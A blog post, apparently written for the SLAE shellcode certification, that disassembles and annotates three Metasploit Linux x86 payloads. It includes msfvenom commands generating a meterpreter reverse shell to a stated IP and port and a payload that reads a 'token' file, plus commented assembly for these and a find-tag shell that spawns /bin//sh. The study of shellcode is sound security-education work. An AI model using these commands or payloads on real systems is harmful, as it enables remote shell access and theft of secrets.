I chose the following 3 payloads:
- linux/x86/meterpreter/reverse_tcp
- linux/x86/shell_find_tag
- linux/x86/read_file
1. Reverse shell
I generated it using msfvenom -p linux/x86/meterpreter/reverse_tcp -a x86 LHOST=192.168.13.59 LPORT=2608 -o rev.
Then I used disasm to have a look at the assembly listing (cat rev | ndisasm -u -). Some parts of the code are relatively easy for understanding, some are a bit vague. I divided the shellcode on 6 parts for easier analysis based on system calls. Below is code with comments.
# socketcall to run SYS_SOCKET
00000000 6A0A push byte +0xa
00000002 5E pop esi
00000003 31DB xor ebx,ebx
00000005 F7E3 mul ebx
00000007 53 push ebx
00000008 43 inc ebx
00000009 53 push ebx
0000000A 6A02 push byte +0x2
0000000C B066 mov al,0x66 # socketcall
0000000E 89E1 mov ecx,esp
00000010 CD80 int 0x80
# socketcall to run SYS_CONNECT
00000012 97 xchg eax,edi
00000013 5B pop ebx
00000014 68C0A80D3B push dword 0x3b0da8c0 # IP address in big endian
00000019 6802000A30 push dword 0x300a0002 # port in big endian
0000001E 89E1 mov ecx,esp
00000020 6A66 push byte +0x66
00000022 58 pop eax
00000023 50 push eax
00000024 51 push ecx
00000025 57 push edi
00000026 89E1 mov ecx,esp
00000028 43 inc ebx # SYS_CONNECT (EBX holds value 0x03)
00000029 CD80 int 0x80
# connection checks and nanosleep
0000002B 85C0 test eax,eax
0000002D 7919 jns 0x48 # we go to mprotect
0000002F 4E dec esi
00000030 743D jz 0x6f # if zero go to exit
00000032 68A2000000 push dword 0xa2
00000037 58 pop eax # syscall code for nanosleep
00000038 6A00 push byte +0x0
0000003A 6A05 push byte +0x5 # 5 seconds sleep
0000003C 89E3 mov ebx,esp
0000003E 31C9 xor ecx,ecx
00000040 CD80 int 0x80
# mprotect to mark region of memory rwx
00000042 85C0 test eax,eax # test for successful connection
00000044 79BD jns 0x3 #attempt to reconnect
00000046 EB27 jmp short 0x6f
00000048 B207 mov dl,0x7 # marks memory rwx
0000004A B900100000 mov ecx,0x1000 # length of memory region
0000004F 89E3 mov ebx,esp # pointer to memory region
00000051 C1EB0C shr ebx,byte 0xc
00000054 C1E30C shl ebx,byte 0xc
00000057 B07D mov al,0x7d #mprotect syscall
00000059 CD80 int 0x80
# read() from file descriptor into buffer
0000005B 85C0 test eax,eax
0000005D 7810 js 0x6f
0000005F 5B pop ebx # descriptor
00000060 89E1 mov ecx,esp
00000062 99 cdq
00000063 B26A mov dl,0x6a
00000065 B003 mov al,0x3 # read syscall
00000067 CD80 int 0x80
# exit syscall
00000069 85C0 test eax,eax
0000006B 7802 js 0x6f
0000006D FFE1 jmp ecx
0000006F B801000000 mov eax,0x1 # exit
00000074 BB01000000 mov ebx,0x1
00000079 CD80 int 0x80
2. Find port
Second one I chose find port shellcode. After generation I used ndisasm again.
Here is the code below with my comments:
# socketcall
00000000 31DB xor ebx,ebx
00000002 53 push ebx
00000003 89E7 mov edi,esp
00000005 6A10 push byte +0x10
00000007 54 push esp
00000008 57 push edi
00000009 53 push ebx
0000000A 89E1 mov ecx,esp
0000000C B307 mov bl,0x7
0000000E FF01 inc dword [ecx]
00000010 6A66 push byte +0x66
00000012 58 pop eax # eax 0x66
00000013 CD80 int 0x80
00000015 66817F02810D cmp word [edi+0x2],0xd81 #compare to port 33037
0000001B 75F1 jnz 0xe #iterate through port number in ecx
# dup2() when found
0000001D 5B pop ebx
0000001E 6A02 push byte +0x2
00000020 59 pop ecx
00000021 B03F mov al,0x3f
00000023 CD80 int 0x80
# execve, spawn a shell
00000025 49 dec ecx
00000026 79F9 jns 0x21
00000028 50 push eax
00000029 682F2F7368 push dword 0x68732f2f # hs//
0000002E 682F62696E push dword 0x6e69622f #nib/
00000033 89E3 mov ebx,esp
00000035 50 push eax
00000036 53 push ebx
00000037 89E1 mov ecx,esp
00000039 99 cdq
0000003A B00B mov al,0xb # execve system call number
0000003C CD80 int 0x80
3. Read file
I generated shellcode by using msfvenom -p linux/x86/read_file PATH=/home/vinegrep/token -a x86 -o read.
I used disasm again. My analysis below:
# Start with classical jmp-call to get address of the file path in ebx and open it.
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5 # SYS_OPEN
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx # RO flag
0000000A CD80 int 0x80
# Read file in our buffer
0000000C 89C3 mov ebx,eax # descriptor
0000000E B803000000 mov eax,0x3 # SYS_READ
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000 # size of buffer
0000001C CD80 int 0x80
# Write content from buffer to descriptor of out payload
0000001E 89C2 mov edx,eax # size of ourread
00000020 B804000000 mov eax,0x4 # SYS_WRITE
00000025 BB01000000 mov ebx,0x1 # FD
0000002A CD80 int 0x80
# Exit
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
# path to file
00000038 E8C5FFFFFF call dword 0x2
0000003D 2F das # /
0000003E 686F6D652F push dword 0x2f656d6f # home/
00000043 7669 jna 0xae # vi
00000045 6E outsb # n
00000046 65677265 gs jc 0xaf # egre
0000004A 702F jo 0x7b # p/
0000004C 746F jz 0xbd # to
0000004E 6B656E00 imul esp,[ebp+0x6e],byte +0x0 # ken and NULL byte
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-764
All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam
Disclaimer
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-764
All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam